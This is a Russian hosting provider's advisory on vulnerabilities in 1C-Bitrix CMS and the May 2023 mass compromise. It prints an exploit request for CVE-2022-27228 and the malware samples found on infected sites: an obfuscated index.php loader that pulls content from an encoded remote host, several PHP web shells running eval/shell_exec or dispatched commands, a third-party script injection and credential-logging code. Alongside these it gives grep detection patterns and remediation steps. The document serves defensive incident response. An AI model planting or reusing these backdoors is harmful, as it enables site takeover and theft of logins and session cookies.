Уязвимости в CMS Bitrix

Уязвимости в CMS Bitrix

  1. Предыстория
  2. Известные уязвимости
    1. Уязвимость модуля голосования
    2. Уязвимость редактора HTML
  3. Устранение уязвимостей
    1. Нет возможности обновить CMS Битрикс
  4. Распространенные виды заражения
    1. Файл /index.php
    2. Файл /bitrix/tools/spread.php
    3. Файл /bitrix/modules/main/bx_root.php
    4. Файл /bitrix/modules/main/include/prolog_after.php
    5. Файл /bitrix/components/bitrix/main.file.input/main.php
    6. Файл /bitrix/virtual_routes.php
    7. Файл /bitrix/modules/main/include/prolog.php
    8. Файл /bitrix/tools/(.idSess|.sess|.session)
  5. Проверка на наличие вредоносного кода
    1. Проверка средствами «1С-Битрикс:Поиск троянов»
    2. Поиск новых вредоносных файлов
    3. Проверка по журналам доступа к сайту
    4. Поиск модифицированных файлов
    5. Поиск закрепления доступа злоумышленника
  6. Что будет, если проигнорировать уязвимости в сайте

Предыстория

26 мая 2023 года произошел массовый взлом сайтов на CMS 1С-Битрикс, в результате чего злоумышленники получили доступ к множеству сайтов и разместили на них вредоносное содержимое. После этого НКЦКИ (Национальный координационный центр по компьютерным инцидентам) выпустил рекомендации, как закрыть ряд известных уязвимостей, чтобы защитить сайты от взлома.

Известные уязвимости

Взлом и заражение сайтов были выполнены с использованием двух основных уязвимостей: модуля голосования и HTML-редактора.

Уязвимость модуля голосования

Уязвимость впервые зафиксирована 17 марта 2022 года. Она проявляется в том, что позволяет злоумышленнику записать произвольные файлы в систему посредством отправки специально сформированных сетевых пакетов. Данная уязвимость присутствует в модуле «vote» CMS «1С-Битрикс: Управление сайтом» до версии 22.0.400 всех редакций, кроме «Старт».

Если на WEB-сервере включено логирование POST-запросов, то в результате успешной эксплуатации CVE-2022-27228, в лог файл запишется строка, содержащая успешный POST-запрос к файлу «/bitrix/tools/vote/uf.php»


Пример:

POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.0 200
Уязвимость редактора HTML

Уязвимость впервые зафиксирована 17 марта 2022 года. Она проявляется в том, что позволяет злоумышленнику выполнить произвольный код на целевой системе. Данная уязвимость присутствует в модуле «fileman» в файле «html_editor_action.php».

Если на WEB-сервере включено логирование POST-запросов, то в результате успешной эксплуатации уязвимости в лог файл запишется строка, содержащая успешный POST-запрос к файлу «/bitrix/tools/html_editor_action.php»


Пример:

POST /bitrix/tools/html_editor_action.php HTTP/1.0" 200

Устранение уязвимостей

Закрывать уязвимости важно для защиты систем от потенциальных атак. Когда уязвимость остается открытой, злоумышленники могут использовать ее для вторжения, кражи данных или нарушения работы системы.

Выполните следующие действия:

1) Переведите сайт на актуальную версию PHP 8 по инструкции
2) Обновите «1С-Битрикс: Управление сайтом» до актуальных версий.
3) Установить, включить и настроить согласно рекомендациям модули:

«Проактивный фильтр (Web Application Firewall)»
«Контроль активности»

4) Выполнить проверку WEB-приложения средствами «Сканер безопасности»
5) Ограничить доступ к панели управления CMS из сети Интернет (оставить доступ только для IP из ЛВС, опционально расширить список легитимными публичными IP) или настроить аутентификацию по OTP.
6) Включить логирование событий доступа к WEB-приложению (все типы запросов) и ошибок (error.log).

Нет возможности обновить CMS Битрикс

Если обновление CMS невозможно, то следует ограничить доступ к уязвимым скриптам средствами кода PHP или веб-сервера.

1) Модификация файлов WEB-приложения

Необходимо модифицировать следующие файлы:

/bitrix/tools/upload.php
/bitrix/tools/mail_entry.php
/bitrix/modules/main/include/virtual_file_system.php
/bitrix/components/bitrix/sender.mail.editor/ajax.php
/bitrix/tools/vote/uf.php
/bitrix/tools/html_editor_action.php
/bitrix/admin/site_checker.php

Перед функцией «require_once» добавить следующий код:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  header("Status: 404 Not Found");
  die();
}
2) Ограничение доступа к уязвимым файлам средствами WEB-сервера

Добавить в конфигурацию WEB-сервера запрещающие правила. Пример правил для NGINX:

 location /bitrix/tools/vote/uf.php {
  if ($request_method = POST ) {
      deny all;
  }
}
location /bitrix/tools/html_editor_action.php {
  if ($request_method = POST ) {
      deny all;
  }
}

Распространенные виды заражения

После взлома сайтов злоумышленники внедряют вредоносный код в файлы сайтов, чтобы иметь возможность выполнения вредоносных действий даже после устранения уязвимостей HTML-редактора и модуля голосования, либо ограничения доступа к уязвимым скриптам. Поэтому помимо устранения уязвимостей необходимо проверить все файлы сайта на наличие вредоносного кода. Наиболее типичные варианты заражения приведены ниже.

Файл /index.php

Пример вредоносного кода:

<?php goto i1FWb; Abovx: @ob_end_flush(); goto r7Sul; KiCa_: $botbotbotbot = "\x2e\x2e\x2e" . $_SERVER["\x48\124\124\120\x5f\125\123\105\122\137\101\107\x45\x4e\124"]; goto eGR0S; i1FWb: @ob_implicit_flush(true); goto Abovx; r7Sul: @error_reporting(0); goto KiCa_; VwhLp: if (strpos($botbotbotbot, "\157\x6f\147\x6c\145") or strpos($botbotbotbot, "\151\156\147") or strpos($botbotbotbot, "\141\x68\157\x6f")) { $xxx = base64_decode("\116\121\x3d\x3d"); $xxx1 = base64_decode("\x4e\x6a\x45\75"); $xxx2 = base64_decode("\116\x54\x67\75"); $xxx3 = base64_decode("\x4d\x54\125\x3d"); $xxx4 = base64_decode("\x61\x57\x35\x77\144\x58\x51\x3d"); $xxx0 = base64_decode("\141\x48\122\60\143\x44\x6f\166\114\167\x3d\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\x2e" . $xxx2 . "\x2e" . $xxx3; $xxx11 = $xxx4 . "\57\x3f\x75\x73\x65\162\x61\x67\x65\156\164\x3d" . $botbotbotbot . "\46\x64\x6f\x6d\141\x69\156\75" . $_SERVER["\x48\124\124\120\137\x48\x4f\x53\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\x68\x72\x65\x66\x3d") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\150\162\x65\146\x3d") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\50{$errno}\51\74\x62\x72\40\57\x3e\12"; } else { $req = "\x2f" . $xxx11; $out = "\x47\105\x54\40{$req}\40\110\124\124\x50\57\61\56\x30\15\xa"; $out .= "\x48\157\163\164\72\40{$url}\15\12"; $out .= "\x43\x6f\156\x6e\x65\143\x74\151\157\156\72\x20\x43\x6c\157\x73\x65\xd\xa\15\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\12", $text); $text = $text[7]; echo $text; } } goto mv4nT; eGR0S: $botbotbotbot = str_replace("\x20", "\x2d", $botbotbotbot); goto VwhLp; mv4nT: ?>

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Следует обратить внимание, что иногда оригинальный код полностью удаляется из файла, и в таком случае следует попытаться восстановить файл из резервной копии.

Файл /bitrix/tools/spread.php

Пример вредоносного кода:

if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
        $arState = array();
        parse_str(base64_decode($_REQUEST["state"]), $arState);

        echo $arState[0]($arState[1],$arState[2]);
        die();
} 

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Файл /bitrix/modules/main/bx_root.php

Пример вредоносного кода:

<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
        parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Файл /bitrix/modules/main/include/prolog_after.php

Пример вредоносного кода:

define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));
if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
   $APPLICATION->RestartBuffer();
   CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
   die();
} 

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Файл /bitrix/components/bitrix/main.file.input/main.php

Данный файл полностью создаётся злоумышленниками. Если данный файл обнаружен, требуется его удалить и начать проверку сайта на предмет других признаков заражения.

Файл /bitrix/virtual_routes.php

Пример вредоносного кода:

function urlDecodeText($encodedText) {return urldecode(base64_decode(hex2bin($encodedText)));}

CModule::IncludeModule('controller');

$cache = $_POST['cache'];

if(isset($_POST['hash']) && $_POST['hash'] === '8qx1zzag1zxm6i9ulutq0gos4uo') $result = CControllerClient::RunCommand(urlDecodeText($cache), 0, 0);

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Файл /bitrix/modules/main/include/prolog.php

Пример вредоносного кода:

echo "<script src='https://code.jquery-uii.com/jquery-ui.js'></script>";

Встраивает на страницы сайта сторонний JS-скрипт, что позволяет злоумышленникам изменять их содержимое.

<?if(isset($_GET['micat']))echo shell_exec($_GET['micat']);if(isset($_GET['midog']))echo eval($_GET['midog']);

Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.

Файл /bitrix/admin/index.php и файлы bitrix/tools/(.idSess|.sess|.session)

Пример вредоносного кода:

file_put_contents(..., print_r($_REQUEST,1))

Приводит к созданию в каталоге “/bitrix/tools/” файла(ов) .sess/.idSess/.session в которые записываются все попытки аутентификации (в т. ч. логин, пароль и session cookie). Дополнительная опасность в том, что в эти файлы могут записываться также session cookie для других веб-приложений, существующих на том же домене, что и скомпрометированная CMS 1С-Битрикс. В таком случае злоумышленник получает доступ не только к административной панели Bitrix, но и валидную сессию для других веб-приложений.

Проверка на наличие вредоносного кода

Проверка на вредоносный код является важной превентивной мерой, которая защищает информационные системы и данные от множества угроз, обеспечивая безопасность и надежность для пользователей и организаций. Можно воспользоваться, как готовыми модулями битрикса для поиска вредонсного кода, так и изучить логи сервера, на предмет внедрения вредоносног кода. Далле мы рассмотрим несколько способов, как найти вредоносный код

Проверка средствами «1С-Битрикс:Поиск троянов»

Необходимо установить из каталога готовых решений “1С-Битрикс:Поиск троянов” и запустить сканирование. Для запуска сканирования, нужно открыть панель управления сайта и перейти по следующим вкладкам:

Настройки → bitrix.xscan → Поиск.

100.PNG

Модуль отсканирует весь сайт и отобразит выявленные подозрительные файлы.

Поиск новых вредоносных файлов

Нужно проверить наличие нетипичных файлов для CMS Битрикс. Были выявлены следующие индикаторы взлома сайта

Искать все перечисленные файлы в указанной директории
Таблица №1. Индикаторы взлома
Имя файла Директория для поиска Пример команды для поиска
xmlrpcs.php Искать во всех папках сайта find ./ -name xmlrpcs.php
inputs.php Искать во всех папках сайта find ./ -name inputs.php

рекомендуется исключить из поиска легитимный файл:
/bitrix/modules/sale/lib/delivery/inputs.php
l.php /bitrix/src/app/ find ./ -name l.php
spread.php /bitrix/tools/
/bitrix/
find ./ -name spread.php
access.php
wp.php
term.php
locale.php
themes.php
network.php
container.php
router.php
wp-login.php
/bitrix/modules/iblock/lib/bizproctype/ find ./ -name access.php
Искать все перечисленные файлы в указанной директории
.cas.php
.cas.tmp.php
/bitrix/tools/ find ./ -name .cas.php
send_trait_imap.php /bitrix/tools/ find ./ -name send_trait_imap.php
seo_page_ajax.php /bitrix/tools/ find ./ -name seo_page_ajax.php
.sess
.idSess
.session
/bitrix/tools/ find / -name '.sess' -o -name '.idSess' -o -name '.session'

Также требуется обратить внимание на все файлы с несловарным, случайно сгенерированным именем из набора символов [a-z, 0-9] в каталоге /bitrix/admin/ и в корневой директории сайта. Примеры файлов:

  • /bitrix/admin/f408f2b7df70.php
  • /bitrix/admin/8f1c222aae51.php
  • /2469a41bac71.php
  • /98826/bfd99.php

Проверка по журналам доступа к сайту

1. Проверить POST-запросы к файлам из Таблица №1 с кодом ответа 200. Пример запроса:

grep -E 'POST xmlrpcs.php' /var/log/nginx/access.log*  | grep ' 200 '

2. Проверить POST-запросы, с кодом ответа 200, содержащие фрагменты строки из списка №1.

Список №1. Известные вредоносные фрагменты в POST-запросах:

  • “bitrixxx”
  • “BX_STAT”
  • “BX_TOKEN”
  • ”==”

Пример запроса:

grep -E 'POST bitrixxx' /var/log/nginx/access.log*  | grep ' 200 '

Для ‘BX_STAT’ поиска лучше воспользоваться регулярным выражением:

grep -E 'POST BX_STAT[^E]' /var/log/nginx/access.log*  | grep ' 200 '

Поиск модифицированных файлов

Кроме создания новых файлов, злоумышленники могут вносить изменения в существующие файлы с целью встраивания вредоносного кода. Для этого необходимо проверить наличие в исходном коде приложения фрагментов строк из Списка №2.

Список №2. Известные вредоносные фрагменты в файлах сайта:

  • “str_rot13”
  • “md5($_COOKIE”
  • “bitrixxx”
  • “eval(base64_decode”
  • “BX_STAT”
  • “BX_TOKEN”
  • “parse_str(hex2bin”
  • “iasfgjlzcb”
  • “QlhfVE9LRU4=”
  • “gzinflate(base64_decode”
  • “C.A.S”
  • “urldecode(base64_decode(hex2bin”
  • “print_r($_REQUEST,1))”

Пример команды для поиска изменённых файлов:

grep -Er  'str_rot13|md5\(\$_COOKIE|bitrixxx|eval\(base64_decode|BX_STAT[^E]|BX_TOKEN|parse_str\(hex2bin|iasfgjlzcb|QlhfVE9LRU4=|gzinflate\(base64_decode|C\.A\.S|urldecode\(base64_decode\(hex2bin|print_r\(\$_REQUEST\,1' /*

Примечание 1
Из результатов поиска по «str_rot13» необходимо исключить следующие файлы:

  • /bitrix/modules/main/classes/general/vuln_scanner.php
  • /bitrix/modules/main/lib/search/content.php
  • /bitrix/modules/socialnetwork/lib/item/logindex.php

В этих файлах функция «str_rot13()» используется по умолчанию.

Примечание 2
Известные файлы, в которые встраивается вредоносный код:

  • /bitrix/modules/main/include/prolog_after.php
  • /bitrix/admin/security_file_verifier.php
  • /bitrix/modules/main/bx_root.php
  • /bitrix/admin/index.php

Примечание 3
Следует обратить внимание, что искать стоит не только по файлам приложения (.php), так как злоумышленники в том числе используют технику с записью файла “.htaccess” для изменения конфигурации веб-сервера.

Поиск закрепления доступа злоумышленника

1 Проверить планировщик задач (cron) на наличие нелегитимных задач. Пример запроса:

ls /etc/cron*

2 На странице со списком Агентов «1С-Битрикс» (/bitrix/admin/agent_list.php) проверить вызываемые функции на наличие вредоносного кода. Для этого необходимо открыть панель управления сайта и перейти на следующую вкладку:

Настройки > Настройки продукта > Агенты

102.PNG

Название агента может быть любым, но, скорее всего, вредоносный Агент будет виден визуально. Также видно наличие функции eval(), которую агенты содержать не должны. Пример кода на скриншоте.

101.png

Что будет, если проигнорировать уязвимости в сайте

Если не закрывать уязвимости на сайте, то его могут взломать злоумышленники. После этого сайт перестаёт корректно работать. Также они могут разместить либо ссылки, ведущие на запрещенные ресурсы, либо материалы нарушающие законодательство РФ.

В таком случае нам придется заблокировать сайт. Также сайт заблокирует НКЦКИ (Национальный координационный центр по компьютерным инцидентам), в результате чего, сайт перестанет отображаться у всех пользователей сети интернет. Кроме этого может посследовать уведомление от РКН о полной блокировки сайта, либо запрос от МВД о том, кто размещал запрещенную информацию на сайте.

Что делать если НКЦКИ уже отключили сайт

Если сайт был заблокирован НКЦКИ, то после очистки сайта и восстановления его работоспособности, нужно написать на почту incident@cert.gov.ru. В письме укажите имя сайта, напишите, что все уязвимости и заражения были устранены, и что вы просите разблокировать сайт. После того как НКЦКИ убедится, что заражение и уязвимости на сайте былы устранены, сайт будет разблокирован и виден всем пользователям сети интернет.

Контактные данные НКЦКИ


107031, г. Москва, ул. Большая Лубянка, д. 1/3
Email: incident@cert.gov.ru
Сайт: http://cert.gov.ru/
Тел.: +7 (916) 901-07-42

Хостинг
Хостинг
Хостинг
Создавайте неограниченное количество сайтов в изолированных контейнерах
С 2003 года
Надежность.
Нам доверяют десятки тысяч компаний и разработчиков
20 лет
Предоставляем услуги профессионального хостинга
35 000
Клиентов доверяют нам размещение своих сайтов
99.99%
Подтвержденный uptime
наших серверов хостинга
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
Наши клиенты
ВК49865